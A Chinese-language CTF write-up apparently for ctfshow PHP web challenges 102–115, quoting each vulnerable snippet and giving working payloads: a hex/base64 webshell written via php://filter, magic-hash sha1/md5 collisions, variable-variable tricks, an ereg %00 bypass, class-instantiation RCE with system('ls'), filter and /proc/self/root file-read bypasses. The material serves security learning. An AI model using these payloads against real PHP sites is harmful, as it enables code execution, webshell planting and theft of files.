目录
实践是检验真理的 要多多尝试
web102
php<?php highlight_file(__FILE__); $v1=$_POST['V1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v4=is_numeric($v2)and is_numeric($v3); if($v4){ $s=substr($v2,2);#获取字符串从第二个字符开始的子串 $str=call_user_func($v1,$s);#执行函数 $v1作为函数名 $s作为参数 echo $str;#输出变量 file_put_contents($v3,$str);#将数据写文件 } else{ die('hacker'); }
首先就是v2必须是全数字的 v3任意
获取v2的第二个字符开始的字串作为$str的值 也就是为了获得正确的payload最前方要填充两个无用字符 从而获得除了前两个无用字符后的有用字符
call_user_func(v1,s) 可以理解为执行函数 v1(s)
也就是说v1(s) 输出的结果是我们要的payload
知识点
1 php5(php7.1一下) 下is_numeric可识别16进制(如果0x开头 就会识别为十六进制字符串 从而绕过),如0x2e,然后调用hex2bin转成字符串写入任意木马
十六进制字符串转换二进制字符串也就是相当于
但是这道题环境用的是php7.0以上的环境所以就不能用0x开头从而绕过is_numeric函数 导致大多
为了能绕过is_numeric函数 目前构造一个很神奇的字符串
5044383959474e6864434171594473
十六进制转换字符串
PD89YGNhdCAqYDs
base64解码
<?=`cat *`;
因为开头不能使用0x所以 目前只有这一个字符串能满足要求 里面的e会被函数当成科学计数法从而绕过死亡函数
但是十六进制转换字符串需要用一个函数 base64解码又要用一个函数 但是题目只有一个函数位置
于是写文件的时候可以通过过滤器来对写的内容进行过滤php://filter/write=convert.base64-
decode/resource=2.php(该过滤器可以在文件操作函数中使用,起到过滤作用)变成了
phpfile_put_contents(php://filter/write=convert.base64-decode/resource=2.php,$str);
简单解释 将数据$str利用过滤器进行base64解码写入文件2.php中
这样只需要十六进制转换字符串的函数就可以了
访问2.php文件
2 <?=`cat *`; cat * 是一个shell命令如果一个php文件中存在该内容 它会执行
cat *
命令并将结果输出到页面上3 等号的优先级大于and
web103
php<?php highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); } ?>
过滤了payload中 php 且不区分大小写 这么一看对我们没影响
尝试一波发现确实没影响 上一道题其实不是那么做的 上一道题就是让你写任意的木马 但是环境配成7.1了 只能按照这道题的方式去做 就算上一题用的5.2版本且也使用者这个正则 写任意木马 也不影响 因为$str是base64编码后的字符串 匹配字符串中存在php的概率很小
web104
php<?php highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } } ?>
sha1就是将字符串进行哈希加密使用SHA1的方式
第一种正常解 函数没有判断传参的两个值是否不相等
使v2v1值相等即可 他们的哈希加密值也相等
第二种解法
这道题和md5加密那道题一样 就i是换了一个函数
加密函数的参数必须传入字符串 否则函数返回值为false 传入从数组而实现false==false
第三种解法
大佬跑出来的
phpaaK1STfY 0e76658526655756207688271159624026011393 aaO8zKZF 0e89257456677279068558073954252716165668
在==比较的时候 对字符串形式的数值,PHP 会尝试将其转换为数值类型进行比较恰巧这个payload中除了e全是数字 成功转换为数值类型 0的任意次方还是等于0 所以0==0
web105
php<?php highlight_file(__FILE__); include("flag.php"); error_reporting(0);#安全级别为0 不输出任何报错信息 $error="你还想要flag嘛";#如果有报错不输出报错语句而输出该语句 $suces="既然你想要就给你吧"; # 遍历变量中的键值对 对于http来说就是遍历传入的参数名以及参数值 foreach($_GET as $key=>$value){ if($key==='error'){ die("what are you doing"); } $$key=$$value;#将变量value值作为变量名 } foreach($_POST as $key=>$value){ if($key==='error'){ die("what are you doing"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error);#输出 } echo "are you good".$flag."\n" die($suces);
有个死亡函数 必须让post中的falg参数的值为flag 才能绕过死亡函数 这有点过分了 我要知道那还做啥题了哈哈
key=$$value; 很关键 先看GET参数 如果想要获取到flag $value=flag -----$$key=$flag 参数名随便来一个x $key=x -----$x=$flag $$key=$$value; 再看POST参数 现在flag值已经存在于$x中了 使$value=x -----$$key=$x 到这我想了好久如何对POST参数进行赋值 他是将post参数遍历存入key中的 反赋值只靠-$$key代表$post\['flag'\]不存在呀 从新审核一下代码 没必要绕过死亡函数 直接让die输出错误error即可 所有让$key=error --------$error=$x ![](https://file.jishuzhan.net/article/1757225986098728962/b50626b152747ed9eb43b2a1532cd409.webp) 第二种方法 ?suces=flag\&flag= 这个也比较好理解 先把flag值放入suces中 然后 让$flag=$ php会将$视为空字符串 从而$flag为空 因为post中没有flag参数 所有 post\['flag'\]也为空
web106
和web104一个样 就是增加了v1!=v2
方法一
传数组 使得函数返回值为false
大佬方法
phpaaK1STfY 0e76658526655756207688271159624026011393 aaO8zKZF 0e89257456677279068558073954252716165668
web107
php<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){ $v1=$_POST['v1']; $v3=$_GET['v3']; parse_str($v1.$v2); if($v2['flag']==md5($v3)){ echo $flag; } }
首先我想到 v2\['flag'\]==md5(v3) 是不可能的 只能让md5返回值为false
在php中未定义的值被转换为布尔值时会被视为 false 所以无需定义v2中的flag即可 但是要注意 必须还要给v1随便传值 否则v2没被定义 就会出现报错等问题
第二种方法 弱类型比较 flag=0 让md5函数返回一个0e开头的即可 这样0=0
GET: ?v3=240610708 POST: v1=flag=0
web108
php<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){#经过反转再转换整形是否等于十六进制的0x36d 也就是877 echo $flag; } ?>
intval函数本来想着将十六进制转换十进制可不可以 不可以 必须给定第二个参数intval($str, 16);
ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) 必须a-z开头 a-z结尾 如果没匹配上 执行语句块
为了让他不执行语句块 只能让他匹配上 a%00778 只能使用截断了 ereg函数就有这个漏洞 识别%00也就是空字符就不往下识别了 从而绕过了死亡函数
经过反转877空字符a 就转换为了877 所以最终能得到flag
知识点:
==弱比较 十进制877和十六进制0x36进行比较的时候 是相等的 因为php会将其中十六进制自动转换为十进制
web109
php<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } }
#但是这道题没给类所以要使用内置类
#死记硬背 有个mysqli内置类 用于mysql连接的 需要传递很多参数用于连接数据库 如果这时传递一个函数作为参数 也会执行 比如phpinfo
这个页面还在加载也就是还在连接数据库中 显然他肯定连接不上
既然能执行phpinfo 那肯定就能执行system('ls')
知识点system('ls')()()多几个括号不报错
知识点题外话 php可能有很多内置类 在phpinfo中是可以看到的
exception类也如此 这东西就是死记硬背简单理解就行 记住这个类实例化时传入函数可以被执行 前提是实例化的对象被echo输出
小知识 echo phpinfo() 会输出php信息 不使用echo也可以输出php信息
echo system('ipconfig'); 也是一个道理 不使用echo也是可以将结果输出到页面来
但是字符串必须要echo才能输出到页面来因为出发了tostring 有return的返回值 使用echo输出
这道题弄了将近两个点 很多很多基础知识都是很基础的
web110
php<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); } eval("echo new $v1($v2());"); } ?>
和上一道题同理 但是传参的时候禁用了很多字符 貌似没影响
尝试一下看看有什么影响
?v1=mysqli&v2=phpinfo 成功
?v1=mysqli&v2=system(ls) 不成功查看后发现禁用了()
看来条件很苛刻 看来只能使用正常的v1(v2() 函数调用 只能使用内置类然后无参进行rce
rce远程命令执行
?v1=FilesystemIterator&v2=getcwd
DirectoryInterator:遍历目录的类
FilesystemIterator:遍历文件的类
getcwd函数获取当前目录的路径返回一个字符串
web111
php<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); } } ?>
本来以为没什么难度 正常传值 ?v1=ctfshow&v2=falg 但是输出NULL也就是没有值 这是为什么呢
因为在方法外部进行的文件包含 在方法内部不能直接调用文件包含的文件中的变量的 不光是文件包含的变量 只要是方法外部的变量就不能在方法内使用 除非传参
那就使用全局变量GLOBALS 将全局变量的所有值赋值给ctfshow 然后进行输出
知识点 死记硬背即可
1 eval("$$v1 = &$$b;"); 可以
eval("v1 = \&b;"); 不可以
ai说是eval函数的原因无法直接处理引用 但是对$$又有特殊规则
2 $GLOBALS 全局变量 是一个数组里面存着所有变量的名和值
web112
php<?php highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
有一个判断 参数不能是个文件 这该如何绕过
直接用过滤器 过滤器不影响 伪协议不影响file_get_contents,和highlight_file。
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
web113
和上一题同理就是不能使用filter php过滤器了
它试图打开并读取经过 zlib 压缩的
flag.php
文件,并返回解压后的内容 不是压缩文件也可以 简单记住就是远程读取文件 是一个伪协议compress.zlib://flag.php 不影响file_get_contents,和highlight_file。
php<?php highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; } <?php
预期解就是目录溢出
预期解payload:
phpfile=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,显示的内容是根目录下的内容
原理:利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了
知识点 highlight_file 不能高亮显示数组
web114
php<?php error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
无法使用目录溢出 禁用了root
无法使用读取压缩文件的伪协议compress.zlib://flag.php
但是发现他并没有禁用filter过滤器 php://filter/resource=flag.php
web115
php<?php include("flag.php"); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; # 必须是数字或者数字字符串 不能完全等于字符36 函数返回值等于字符36 if(is_numeric($num)and $num!=='36'and trim($num)!=='36'and filter($num)=='36'){ if($num=='36'){ echo $flag; } else{ echo "hacker"; } } else{ echo"hacker"; }
%0c36
is_numeric($num) ' 36' 在数字前加空格 也会认为是数字字符串
$num!=='36' 不完全等于'36' 因为有个tab
trim($num)!=='36' 去空格 但是不去除%0c
filter($num)=='36' '36'与' 36' 进行弱类型比较是相等的
知识点
\t 的意思是 :水平制表符。将当前位置移到下一个tab位置。%09
\r 的意思是: 回车。将当前位置移到本行的开头。%0D
\n 的意思是:回车换行。将当前位置移到下一行的开头。%0A
\f的意思是:换页。将当前位置移到下一页的开头。%0C
\0的意思是:空字符 %00
\v的意思是:垂直制表符 和制表符差不多意思%0B
空格是%20